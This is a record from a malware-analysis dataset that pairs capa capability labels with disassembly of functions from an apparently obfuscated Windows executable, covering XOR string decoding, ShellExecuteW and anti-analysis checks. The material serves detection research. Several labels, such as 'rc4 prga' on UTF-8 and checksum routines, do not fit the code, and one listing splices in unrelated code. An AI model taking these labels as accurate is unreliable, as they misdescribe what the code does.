joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404b60
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
xor eax, eax
cmp dword [esp + 0x14], 0
je 0x404d71
cmp dword [esp + 0x18], 0
jle 0x404d18
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
add eax, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [edx]
cmp ebx, 0xf4
ja 0x404d6f
mov ecx, ebx
and cl, 0xfe
cmp cl, 0xc0
je 0x404d6f
mov ecx, ebx
and ecx, 0xffffffc0
cmp ecx, 0x80
je 0x404d6f
test bl, bl
js 0x404bd0
mov ebp, 1
mov esi, ebx
jmp 0x404d00
mov edi, ebx
and edi, 0xffffffe0
cmp edi, 0xc0
je 0x404c2d
mov ecx, ebx
and ecx, 0xfffffff0
cmp ecx, 0xe0
jne 0x404c7d
movzx ebp, byte [edx + 1]
mov ecx, ebp
and ecx, 0xffffffc0
cmp ecx, 0x80
jne 0x404d6f
movzx esi, byte [edx + 2]
mov ecx, esi
and ecx, 0xffffffc0
cmp ecx, 0x80
jne 0x404d6f
and ebx, 0xf
shl ebx, 0xc
and ebp, 0x3f
shl ebp, 6
or ebx, ebp
mov ebp, 3
jmp 0x404c4d
movzx esi, byte [edx + 1]
mov ecx, esi
and ecx, 0xffffffc0
cmp ecx, 0x80
jne 0x404d6f
and ebx, 0x1f
shl ebx, 6
mov ebp, 2
cmp edi, 0xc0
setne cl
and esi, 0x3f
or esi, ebx
cmp esi, 0x800
setb ch
cmp esi, 0x80
jb 0x404d6f
and cl, ch
je 0x404d00
jmp 0x404d6f
mov ecx, ebx
or ecx, 0xf8
mov esi, ebx
xor esi, 0xffffff07
and esi, ecx
cmp esi, 0xf0
jne 0x404d6f
movzx edi, byte [edx + 1]
mov ecx, edi
and ecx, 0xffffffc0
cmp ecx, 0x80
jne 0x404d6f
movzx esi, byte [edx + 2]
mov ecx, esi
and ecx, 0xffffffc0
cmp ecx, 0x80
jne 0x404d6f
movzx ecx, byte [edx + 3]
and cl, 0xc0
cmp cl, 0x80
jne 0x404d6f
and ebx, 7
shl ebx, 0xc
and edi, 0x3f
shl edi, 6
or edi, ebx
and esi, 0x3f
or esi, edi
shl esi, 6
lea ecx, [esi - 0x110000]
mov ebp, 4
cmp ecx, 0xfff00000
jb 0x404d6f
nop
nop
and esi, 0x1ff800
cmp esi, 0xd800
je 0x404d6f
add edx, ebp
cmp edx, eax
jb 0x404b90
mov edi, dword [esp + 0x18]
lea eax, [edi + 1]
push eax
call dword [0x448008]
add esp, 4
test eax, eax
je 0x404d6f
mov esi, eax
mov byte [eax + edi], 0
push edi
push dword [esp + 0x18]
push eax
call fcn.0040c760
add esp, 0xc
push 0x10
call dword [0x448008]
add esp, 4
test eax, eax
je 0x404d65
mov dword [eax], 0
mov dword [eax + 4], 2
mov dword [eax + 8], esi
mov dword [eax + 0xc], edi
jmp 0x404d71
push esi
call dword [0x448004]
add esp, 4
xor eax, eax
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x405880
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x14
mov eax, 0xffffffff
cmp dword [esp + 0x28], 0
je 0x405a63
mov esi, dword [esp + 0x2c]
test esi, esi
je 0x405a63
mov ecx, dword [esp + 0x30]
test ecx, ecx
je 0x405a63
cmp dword [ecx], 0
jne 0x405a63
push esi
call fcn.0040c860
add esp, 4
test eax, eax
je 0x4058ea
mov ecx, 0x1505
xor ebx, ebx
nop
nop
nop
nop
movzx edx, byte [esi + ebx]
test edx, edx
je 0x4058f1
inc ebx
mov edi, ecx
shl edi, 5
add edi, ecx
add edi, edx
mov ecx, edi
cmp eax, ebx
jne 0x4058d0
jmp 0x4058f3
mov edi, 0x1505
jmp 0x4058f3
mov edi, ecx
mov ecx, dword [esp + 0x28]
mov esi, dword [ecx + 0x20]
test esi, esi
je 0x4059ad
mov dword [esp], eax
mov eax, esi
xor eax, 1
mov edx, esi
and edx, 0xfffffffe
add edx, edx
sub edx, eax
mov eax, edi
not eax
or eax, edx
mov edx, esi
dec esi
mov dword [esp + 0xc], esi
mov esi, dword [ecx + 4]
mov dword [esp + 8], esi
lea ebx, [edi + eax]
inc ebx
jmp 0x405934
inc ebx
dec edx
je 0x4059ad
mov ebp, ebx
and ebp, dword [esp + 0xc]
mov eax, dword [esp + 8]
mov esi, dword [eax + ebp*4]
cmp esi, 0xffffffff
je 0x4059b2
mov eax, dword [ecx + 8]
cmp dword [eax + esi*4], edi
jne 0x405930
mov eax, dword [ecx + 0xc]
mov ebp, dword [eax + esi*4]
push ebp
mov dword [esp + 8], edx
call fcn.0040c860
mov edx, dword [esp + 8]
mov ecx, dword [esp + 0x2c]
add esp, 4
cmp eax, dword [esp]
jne 0x405930
push dword [esp]
push ebp
push dword [esp + 0x34]
call fcn.0040c880
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0x34]
add esp, 0xc
test eax, eax
jne 0x405930
mov eax, dword [ecx + 0x10]
push dword [eax + esi*4]
call fcn.00404930
mov edx, dword [esp + 0x2c]
add esp, 4
mov eax, dword [edx + 0x10]
mov ecx, dword [esp + 0x30]
mov dword [eax + esi*4], ecx
mov esi, ecx
jmp 0x405a56
mov ebp, 0xffffffff
mov eax, dword [ecx + 0x18]
cmp eax, dword [ecx + 0x1c]
jb 0x4059f2
call fcn.00405b30
mov ecx, eax
mov eax, 0xffffffff
test ecx, ecx
mov esi, dword [esp + 0x2c]
jne 0x405a63
push esi
call fcn.0040c860
add esp, 4
mov edx, esi
lea esi, [esp + 0x10]
mov ecx, dword [esp + 0x28]
push esi
push edi
push eax
call fcn.00405a70
add esp, 0xc
mov ebp, eax
mov esi, dword [esp + 0x2c]
push esi
call fcn.0040c860
add esp, 4
mov ebx, eax
inc eax
push eax
call dword [0x448008]
add esp, 4
test eax, eax
je 0x405a5e
mov byte [eax + ebx], 0
push ebx
push esi
push eax
mov esi, eax
call fcn.0040c760
add esp, 0xc
mov edx, dword [esp + 0x28]
mov eax, dword [edx + 0xc]
mov ecx, dword [edx + 0x18]
mov dword [eax + ecx*4], esi
mov eax, dword [edx + 4]
mov ecx, dword [edx + 0x18]
mov dword [eax + ebp*4], ecx
mov eax, dword [edx + 0x10]
mov esi, dword [esp + 0x30]
mov dword [eax + ecx*4], esi
mov eax, dword [edx + 0x14]
mov ecx, dword [edx + 0x18]
mov dword [eax + ecx*4], ebp
mov eax, dword [edx + 8]
mov ecx, dword [edx + 0x18]
mov dword [eax + ecx*4], edi
inc dword [edx + 0x18]
mov eax, dword [edx]
mov dword [esi], eax
xor eax, eax
jmp 0x405a63
mov eax, 0xffffffff
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x406b50
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
push eax
mov ebp, dword [esp + 0x1c]
test ebp, ebp
je 0x406c69
mov ebx, dword [esp + 0x20]
mov ecx, dword [esp + 0x18]
movzx edi, cx
shr ecx, 0x10
test ebx, ebx
je 0x406c62
mov edx, 0x5e6ea9af
mov eax, ebx
mul edx
shr edx, 0xb
imul eax, edx, 0x15b0
mov esi, ebx
sub esi, eax
nop
nop
nop
xor eax, eax
cmp esi, 8
mov dword [esp], ebx
jb 0x406c24
mov eax, esi
and eax, 0x1ff8
xor ebx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ebx
movzx ebx, byte [ebp + ebx]
add ebx, edi
add ecx, ebx
movzx edi, byte [ebp + edx + 1]
add edi, ebx
add ecx, edi
movzx ebx, byte [ebp + edx + 2]
add ebx, edi
add ecx, ebx
movzx edi, byte [ebp + edx + 3]
add edi, ebx
add ecx, edi
movzx ebx, byte [ebp + edx + 4]
add ebx, edi
add ecx, ebx
movzx edi, byte [ebp + edx + 5]
add edi, ebx
add ecx, edi
movzx ebx, byte [ebp + edx + 6]
add ebx, edi
add ecx, ebx
movzx edi, byte [ebp + edx + 7]
add edi, ebx
add ecx, edi
lea ebx, [edx + 8]
add edx, 0xf
cmp edx, esi
jb 0x406bb0
add ebp, ebx
jmp 0x406c24
movzx edx, byte [ebp]
inc ebp
add edi, edx
add ecx, edi
mov edx, eax
and edx, 1
xor eax, 1
lea eax, [eax + edx*2]
cmp eax, esi
jb 0x406c10
mov eax, edi
mov edx, 0x80078071
mul edx
mov ebx, edx
shr ebx, 0xf
mov eax, ecx
mov edx, 0x80078071
mul edx
imul eax, ebx, 0xfff1
sub edi, eax
shr edx, 0xf
imul eax, edx, 0xfff1
sub ecx, eax
mov ebx, dword [esp]
sub ebx, esi
mov esi, 0x15b0
jne 0x406b90
shl ecx, 0x10
or ecx, edi
jmp 0x406c6e
mov ecx, 1
mov eax, ecx
add esp, 4
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x406c80
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, dword [esp + 0x18]
test eax, eax
je 0x406ce1
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x14]
not edx
test ecx, ecx
je 0x406cd8
xor esi, esi
nop
nop
nop
nop
movzx edi, byte [eax + esi]
mov ebx, edx
shr ebx, 4
xor edx, edi
and edx, 0xf
mov edx, dword [edx*4 + 0x445c50]
mov ebp, edx
and ebp, ebx
add ebx, edx
add ebp, ebp
sub ebx, ebp
mov edx, ebx
shr edx, 4
and ebx, 0xf
shr edi, 4
xor edi, ebx
xor edx, dword [edi*4 + 0x445c50]
inc esi
cmp ecx, esi
jne 0x406ca0
lea eax, [edx + edx]
not eax
add eax, edx
jmp 0x406ce3
xor eax, eax
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x40ce80
Capabilities:
Create process on windows
Encode data using xor
Terminate process

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x2c
call fcn.0043f5d0
test al, al
je 0x40d0a6
mov dword [esp], 0x8382d6ad
mov word [esp + 4], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax]
xor cl, al
xor cl, 0xe0
add cl, 0xa0
mov byte [esp + eax], cl
inc eax
cmp eax, 6
jne 0x40ceb0
mov ecx, dword [esp]
mov eax, ecx
and eax, 0xff368126
mov edx, ecx
and edx, 0xc97ed9
or ecx, 0xc97ed9
imul ecx, edx
xor edx, 0xc97ed9
imul edx, eax
add ecx, edx
mov edx, ecx
shr edx, 7
mov eax, edx
and eax, ecx
mov esi, eax
and esi, 0xfffffffd
mov edi, eax
and edi, 2
or eax, 2
imul eax, edi
xor edi, 2
imul edi, esi
add eax, edi
add edx, ecx
mov ecx, eax
xor ecx, edx
not eax
and eax, edx
add eax, eax
sub eax, ecx
mov ecx, eax
and ecx, 0xb9fe1a8
mov edx, eax
and edx, 0xf4601e57
or eax, 0xb9fe1a8
imul eax, ecx
mov dword [esp], 0x8d980a1f
mov word [esp + 4], 0
xor ecx, 0xb9fe1a8
imul ecx, edx
xor edx, edx
nop
nop
nop
nop
nop
movzx esi, byte [esp + edx]
lea edi, [edx + 0xa0]
lea ebp, [esi + esi]
not ebp
add ebp, esi
and ebp, edi
mov ebx, edx
xor ebx, 0x5f
and ebx, esi
or ebx, ebp
add bl, 0xe0
mov byte [esp + edx], bl
inc edx
cmp edx, 6
jne 0x40cf50
add ecx, eax
cmp ecx, dword [esp]
jne 0x40d06f
mov dword [esp], 0x91019f39
mov dword [esp + 4], 0x95cc9334
mov dword [esp + 8], 0x891e9733
mov dword [esp + 0xc], 0x8dea8b2f
mov dword [esp + 0x10], 0x812b8fdd
mov dword [esp + 0x14], 0x8380
mov byte [esp + 0x18], 0
mov eax, 0x62528225
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0x62528225]
lea esi, [eax - 0x80000000]
and esi, 0x80028062
mov ecx, eax
and ecx, 0x6250021d
or ecx, esi
mov esi, edx
xor esi, 0x62
mov edi, ecx
xor edi, 0xe2
or edi, esi
xor edx, 0x1d
xor ecx, 0x1d
or ecx, edx
and ecx, edi
add cl, 0x47
mov byte [esp + eax - 0x62528225], cl
inc eax
cmp eax, 0x6252823e
jne 0x40cfc0
mov dword [esp + 0x1c], 0x61f667f5
mov dword [esp + 0x20], 0x5df463ff
mov dword [esp + 0x24], 0x5f5c
mov dword [esp + 0x28], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
mov esi, eax
and esi, 0x1c
mov edx, ecx
xor edx, 0xbe
add edx, esi
add dl, 0xdb
xor dl, byte [esp + ecx + 0x1c]
add dl, 3
mov byte [esp + ecx + 0x1c], dl
inc ecx
add eax, 2
cmp ecx, 0x10
jne 0x40d030
mov eax, esp
lea ecx, [esp + 0x1c]
push 5
push 0
push eax
push 0x4473da
push ecx
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.00437730
test al, al
je 0x40d0a1
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call dword [sym.imp.USER32.dll_GetInputState]
test eax, eax
je 0x40d08e
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call fcn.0040df90
test al, al
je 0x40d0a1
call fcn.00410b70
call fcn.0040f8a0
call fcn.00440710
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40d100
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x404
mov dword [esp], ecx
mov edi, dword [esp + 0x418]
movzx eax, word [edi]
lea ebp, [esp + 4]
test ax, ax
je 0x40d241
mov edx, 0x1ff
nop
nop
nop
nop
nop
nop
nop
movzx ebx, ax
lea esi, [edi + 2]
cmp bx, 0x7f
ja 0x40d150
lea eax, [ebp + 1]
mov byte [ebp], bl
jmp 0x40d1e0
cmp ebx, 0x7ff
ja 0x40d180
cmp edx, 2
jb 0x40d180
mov eax, ebx
shr eax, 6
add al, 0xc0
mov byte [ebp], al
and bl, 0x3f
or bl, 0x80
lea eax, [ebp + 2]
mov byte [ebp + 1], bl
jmp 0x40d1e0
mov eax, ebx
and eax, 0xfc00
cmp eax, 0xd800
jne 0x40d206
cmp edx, 4
jb 0x40d206
movzx ecx, word [edi + 2]
add edi, 4
shl ebx, 0xa
lea eax, [ebx + ecx]
add eax, 0xfca02400
mov ebx, eax
shr ebx, 0x12
add bl, 0xf0
mov byte [ebp], bl
mov ebx, eax
shr ebx, 0xc
and bl, 0x3f
or bl, 0x80
mov byte [ebp + 1], bl
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [ebp + 2], al
and cl, 0x3f
or cl, 0x80
lea eax, [ebp + 4]
mov byte [ebp + 3], cl
mov esi, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
xor ecx, ebp
not ebp
and ebp, eax
add ecx, edx
add ebp, ebp
sub ecx, ebp
mov edi, esi
mov ebp, eax
mov edx, ecx
movzx eax, word [edi]
test ax, ax
je 0x40d241
test edx, edx
jne 0x40d130
jmp 0x40d241
movzx eax, ax
cmp eax, 0xdc00
jne 0x40d214
mov edi, esi
jmp 0x40d1f4
cmp edx, 3
jb 0x40d23d
mov eax, ebx
shr eax, 0xc
or al, 0xe0
mov byte [ebp], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [ebp + 1], al
and bl, 0x3f
or bl, 0x80
lea eax, [ebp + 3]
mov byte [ebp + 2], bl
jmp 0x40d1e0
mov eax, ebp
jmp 0x40d1e0
mov esi, dword [esp + 0x420]
mov edx, dword [esp + 0x41c]
mov byte [ebp], 0
xor eax, eax
jmp 0x40d268
mov byte [esp + eax + 0x204], bl
inc eax
movzx ecx, byte [esp + eax + 4]
mov bl, 0x2f
cmp ecx, 0x5c
je 0x40d260
test ecx, ecx
je 0x40d27c
mov ebx, ecx
jmp 0x40d260
mov byte [esp + eax + 0x204], 0
lea eax, [esp + 0x204]
push 0
push 0
push 0
mov ecx, dword [esp + 0xc]
push dword [ecx + 8]
add ecx, 0x10
push 0
push 0
push esi
push edx
push eax
push ecx
call fcn.00408d30
add esp, 0x28
test eax, eax
setne al
add esp, 0x404
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
Function at 0x40ddd0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov edi, dword [ebp + 0x14]
mov esi, dword [ebp + 0xc]
mov bl, byte [ebp + 8]
call fcn.0040df80
sub esp, 8
push eax
test edi, edi
sets al
mov ecx, edi
sub ecx, 1
sete cl
or al, cl
mov ecx, edi
sub ecx, 0x25
setge cl
or al, cl
test al, 1
jne 0x40de07
jmp 0x40de0c
jmp 0x40df73
movzx eax, bl
xor ecx, ecx
sub ecx, eax
jmp 0x40de15
jmp 0x40de17
jmp 0x40de19
mov edi, esi
mov ecx, dword [ebp + 0x10]
add edi, ecx
add edi, 0xffffffff
mov byte [esi + ecx - 1], 0
cmp eax, 0
jne 0x40de3b
mov esi, edi
add esi, 0xffffffff
mov byte [edi - 1], 0x30
jmp 0x40df71
cmp dword [ebp + 0x14], 0xa
sete al
test al, 1
jne 0x40de4b
jmp 0x40def7
jmp 0x40de4d
movzx ecx, bl
cmp ecx, 0x64
setae al
test al, 1
jne 0x40de5c
jmp 0x40deb1
mov esi, 0x64
mov eax, ecx
xor edx, edx
div esi
mov eax, edx
xor eax, 0xffffffff
and eax, 2
mov esi, edx
and esi, 0xfffffffd
imul esi, eax
mov eax, edx
and eax, 2
or edx, 2
imul edx, eax
add edx, esi
mov al, byte [edx + 0x446761]
mov esi, edi
add esi, 0xffffffff
mov byte [edi - 1], al
mov al, byte [edx + 0x446760]
add esi, 0xffffffff
mov byte [edi - 2], al
mov edi, 0x64
mov eax, ecx
xor edx, edx
div edi
mov ebx, eax
mov edi, esi
jmp 0x40de4d
cmp ecx, 0xa
setb al
jmp 0x40deb9
test al, 1
jne 0x40debf
jmp 0x40ded5
lea eax, str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
add eax, ecx
mov al, byte [eax]
jmp 0x40decb
mov esi, edi
add esi, 0xffffffff
mov byte [edi - 1], al
jmp 0x40def5
shl ecx, 1
mov al, byte [ecx + 0x446761]
mov esi, edi
add esi, 0xffffffff
mov byte [edi - 1], al
mov al, byte [ecx + 0x446760]
add esi, 0xffffffff
mov byte [edi - 2], al
jmp 0x40def5
jmp 0x40df71
cmp dword [ebp + 0x14], 0x10
sete al
test al, 1
jne 0x40df06
jmp 0x40df04
jmp 0x40df47
movzx eax, bl
cmp eax, 0x10
setl cl
test cl, 1
jne 0x40df16
jmp 0x40df27
mov al, byte [eax + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov esi, edi
add esi, 0xffffffff
mov byte [edi - 1], al
jmp 0x40df71
shl eax, 1
mov cl, byte [eax + 0x44682a]
mov esi, edi
add esi, 0xffffffff
mov byte [edi - 1], cl
mov al, byte [eax + str.000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D5E5F606162636465666768696A6B6C6D6E6F707172737475767778797A7B7C7D7E7F808182838485868788898A8B8C8D8E8F909192939495969798999A9B9C9D9E9FA0A1A2A3A4A5A6A7A8A9AAABACADAEAFB0B1B2B3B4B5B6B7B8B9BABBBCBDBEBFC0C1C2C3C4C5C6C7C8C9CACBCCCDCECFD0D1D2D3D4D5D6D7D8D9DADBDCDDDEDFE0E1E2E3E4E5E6E7E8E9EAEBECEDEEEFF0F1F2F3F4F5F6F7F8F9FAFBFCFDFEFF]
add esi, 0xffffffff
mov byte [edi - 2], al
jmp 0x40df71
movzx ecx, bl
cmp ecx, 0
jbe 0x40df6d
mov eax, ecx
xor edx, edx
div dword [ebp + 0x14]
mov al, byte [edx + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
add edi, 0xffffffff
mov byte [edi], al
mov eax, ecx
xor edx, edx
div dword [ebp + 0x14]
mov ebx, eax
jmp 0x40df47
mov esi, edi
jmp 0x40df71
jmp 0x40df73
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x40df90
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x194
mov ebp, dword [0x44ea48]
mov dword [esp + 0x114], 0x83828980
mov word [esp + 0x118], 0
mov ecx, 0xa0
mov edx, 0x5f
nop
movzx esi, byte [esp + ecx + 0x74]
mov ebx, ecx
xor ebx, edx
and ebx, esi
xor ebx, edx
mov al, 0xdf
sub al, bl
mov byte [esp + ecx + 0x74], al
inc ecx
dec edx
cmp ecx, 0xa6
jne 0x40dfc0
mov ecx, dword [esp + 0x114]
mov dword [esp + 0x14], 0x77df0993
mov dword [esp + 0x18], 0x73da75e6
mov dword [esp + 0x1c], 0x7fe271ec
mov dword [esp + 0x20], 0x7b287dec
mov dword [esp + 0x24], 0x67f279d4
mov dword [esp + 0x28], 0x636265f0
mov word [esp + 0x2c], 0
mov edx, 0x5f5c193e
mov esi, 0x20a3e6c1
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + edx - 0x5f5c192a]
mov eax, edx
and eax, 0x4c5c017b
mov ebx, esi
and ebx, 0x2002a204
or ebx, eax
xor ebx, edi
xor ebx, 0x4cfd45fb
lea eax, [esi - 0x20a3e600]
and eax, edi
or eax, ebx
not edi
lea ebx, [edx - 0x5f5c1900]
or ebx, edi
and ebx, eax
not ebx
mov eax, ebx
and eax, 0xc9
or ebx, 0xc9
add ebx, eax
inc bl
mov byte [esp + edx - 0x5f5c192a], bl
inc edx
dec esi
cmp edx, 0x5f5c1958
jne 0x40e030
lea edi, [esp + 0x14]
push ecx
push 0
push edi
call ebp
mov ecx, 0x44ea10
push eax
call fcn.0043f310
movzx eax, al
mov eax, dword [eax*4 + 0x448a34]
mov ecx, 0x142faf8
xor ecx, dword [0x448a3c]
add eax, ecx
inc eax
jmp eax
movzx edi, byte [edx + eax - 0x307c7d49]
mov esi, edi
not esi
lea ebx, [esi + esi]
mov edx, ecx
and edx, esi
shl esi, 0x1f
sub esi, ebx
sub esi, edi
add esi, 0x3ffffffe
and esi, eax
xor edx, esi
add edx, esi
not edx
add edx, esi
mov esi, edx
and esi, 1
xor edx, 1
add dword [ebp - 0x3d7f8dec], ecx
xchg edx, eax
add dword [ebp - 0x3d7f8dec], ecx
xchg edx, eax
mov esi, dword [ebp - 0x40]
mov byte [esi + eax - 0x307c7d49], dl
mov edx, dword [ebp - 0x40]
inc eax
dec ecx
cmp eax, 0x307c7d70
jne 0x429100
mov ecx, dword [ebp + 8]
push dword [ebp - 0x10]
mov esi, dword [ebp - 0x20]
push esi
push edx
call fcn.0040d2c0
mov ecx, eax
jmp dword [0x44b7b0]
Function at 0x40ea30
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
push eax
mov edx, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
movzx ebx, byte [edx]
test bl, bl
je 0x40ec8c
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x1c]
dec edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
test esi, esi
je 0x40ea6c
cmp edx, esi
jae 0x40ec8c
test edi, edi
je 0x40ec8c
movzx ebp, bl
test bl, bl
js 0x40eaa0
inc edx
lea ecx, [eax + 2]
mov word [eax], bp
mov esi, ecx
sub esi, eax
sar esi, 1
sub edi, esi
mov eax, ecx
mov esi, dword [esp + 0x24]
mov bh, byte [edx]
mov bl, bh
test bh, bh
jne 0x40ea60
jmp 0x40ec8c
mov ecx, ebp
and ecx, 0xffffffe0
cmp ecx, 0xc0
jne 0x40eadb
cmp bl, 0xc2
jb 0x40ea90
mov bh, byte [edx + 1]
movzx ecx, bh
mov esi, ecx
and esi, 0xffffffc0
cmp esi, 0x80
jne 0x40eb3d
and ebp, 0x1f
shl ebp, 6
and ecx, 0x3f
or ecx, ebp
mov word [eax], cx
lea ecx, [eax + 2]
add edx, 2
jmp 0x40ea82
mov ecx, ebp
and ecx, 0xfffffff0
cmp ecx, 0xe0
jne 0x40eb05
movzx ecx, byte [edx + 1]
cmp bl, 0xed
je 0x40eb47
cmp ebp, 0xe0
jne 0x40eb50
mov ebx, ecx
add bl, 0x40
cmp bl, 0xe0
jb 0x40ea8c
jmp 0x40eb50
mov ecx, ebp
and ecx, 0xfffffff8
cmp ecx, 0xf0
jne 0x40ec67
cmp bl, 0xf4
ja 0x40ea90
movzx ecx, byte [edx + 1]
je 0x40eb9a
cmp ebp, 0xf0
jne 0x40eba3
mov bh, cl
add bh, 0x40
cmp bh, 0xd0
jb 0x40ea8c
jmp 0x40eba3
inc edx
mov esi, dword [esp + 0x24]
jmp 0x40ea92
cmp cl, 0x9f
ja 0x40ea8c
mov esi, ecx
and esi, 0xffffffc0
cmp esi, 0x80
jne 0x40ec6e
mov bh, byte [edx + 2]
movzx esi, bh
mov dword [esp], esi
and esi, 0xffffffc0
cmp esi, 0x80
jne 0x40ec74
shl ebp, 0xc
and ecx, 0x3f
shl ecx, 6
or ecx, ebp
add edx, 3
mov esi, dword [esp]
and esi, 0x3f
or esi, ecx
lea ecx, [eax + 2]
mov word [eax], si
jmp 0x40ea82
cmp cl, 0x8f
ja 0x40ea8c
mov esi, ecx
not esi
or esi, 0xc0
add esi, ecx
cmp esi, 0x7f
jne 0x40ec6e
mov bh, byte [edx + 2]
movzx ebp, bh
mov esi, ebp
and esi, 0xffffffc0
cmp esi, 0x80
jne 0x40ec74
mov bh, byte [edx + 3]
movzx esi, bh
mov dword [esp], esi
and esi, 0xffffffc0
cmp esi, 0x80
jne 0x40ec80
and bl, 7
movzx esi, bl
shl esi, 0x12
and ecx, 0x3f
shl ecx, 0xc
or ecx, esi
and ebp, 0x3f
shl ebp, 6
or ebp, ecx
add edx, 4
mov ecx, ebp
and ecx, 0x1ff800
cmp ecx, 0xd800
je 0x40ea8c
mov ecx, dword [esp]
and ecx, 0x3f
or ecx, ebp
cmp ecx, 0x10000
jb 0x40ea8c
cmp edi, 2
jb 0x40ec67
add ebp, 0xf0000
shr ebp, 0xa
and ebp, 0x3ff
or ebp, 0xd800
mov word [eax], bp
mov esi, 0x3ff
sub esi, ecx
and esi, 0x3ff
xor esi, 0xdfff
lea ecx, [eax + 4]
mov word [eax + 2], si
jmp 0x40ea82
mov ecx, eax
jmp 0x40ea82
inc edx
jmp 0x40ea8c
add edx, 2
mov esi, dword [esp + 0x24]
jmp 0x40ea92
add edx, 3
mov esi, dword [esp + 0x24]
jmp 0x40ea92
mov word [eax], 0
sub eax, dword [esp + 0x18]
sar eax, 1
add esp, 4
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4103f0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x23c
mov dword [esp + 0x3c], 0x97b0b5f
mov dword [esp + 0x40], 0x571078e
mov dword [esp + 0x44], 0x1760370
mov dword [esp + 0x48], 0x1d2f1f7f
mov dword [esp + 0x4c], 0x19281b57
mov dword [esp + 0x50], 0x15361728
mov dword [esp + 0x54], 0x117b132c
mov dword [esp + 0x58], 0x2d5c2f67
mov dword [esp + 0x5c], 0x295b2b50
mov dword [esp + 0x60], 0x25ab27a1
mov dword [esp + 0x64], 0x21702304
mov dword [esp + 0x68], 0x3d1e3f4c
mov dword [esp + 0x6c], 0x390a3b73
mov dword [esp + 0x70], 0x3506370a
mov dword [esp + 0x74], 0x31123371
mov dword [esp + 0x78], 0x4d394f59
mov dword [esp + 0x7c], 0x49004b3e
mov dword [esp + 0x80], 0x45034704
mov dword [esp + 0x84], 0x41ca4364
mov dword [esp + 0x88], 0x5d125f0a
mov dword [esp + 0x8c], 0x597a5b6b
mov dword [esp + 0x90], 0x55265707
mov dword [esp + 0x94], 0x51265324
mov dword [esp + 0x98], 0x6d076f2b
mov dword [esp + 0x9c], 0x69146b17
mov dword [esp + 0xa0], 0x6511673d
mov dword [esp + 0xa4], 0x615363e8
mov dword [esp + 0xa8], 0x7d337f2b
mov dword [esp + 0xac], 0x79487b35
mov dword [esp + 0xb0], 0x753c7735
mov dword [esp + 0xb4], 0x714a7354
mov dword [esp + 0xb8], 0x8dd68f25
mov dword [esp + 0xbc], 0x89d98be0
mov dword [esp + 0xc0], 0x85b287dc
mov dword [esp + 0xc4], 0x81f683a4
mov dword [esp + 0xc8], 0x9deb9ff7
mov dword [esp + 0xcc], 0x99ba9be7
mov dword [esp + 0xd0], 0x95ed97c1
mov dword [esp + 0xd4], 0x91e793e9
mov dword [esp + 0xd8], 0xad99afe1
mov dword [esp + 0xdc], 0xa9f7ab8c
mov dword [esp + 0xe0], 0xa528a7d0
mov dword [esp + 0xe4], 0xa1d1a3d5
mov dword [esp + 0xe8], 0xbd8fbfdb
mov dword [esp + 0xec], 0xb9f5bbf3
mov dword [esp + 0xf0], 0xb584b7ff
mov dword [esp + 0xf4], 0xb180b384
mov dword [esp + 0xf8], 0xcdfccf80
mov dword [esp + 0xfc], 0xc9eacbfc
mov dword [esp + 0x100], 0xc5b9c7a5
mov dword [esp + 0x104], 0xc1bdc3be
mov dword [esp + 0x108], 0xdda9df4e
mov dword [esp + 0x10c], 0xd991dbed
mov dword [esp + 0x110], 0xd59fd795
mov dword [esp + 0x114], 0xd19fd3e6
mov dword [esp + 0x118], 0xedeeef9a
mov dword [esp + 0x11c], 0
mov eax, dword [0x44ea18]
mov ecx, 0x36e02f03
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
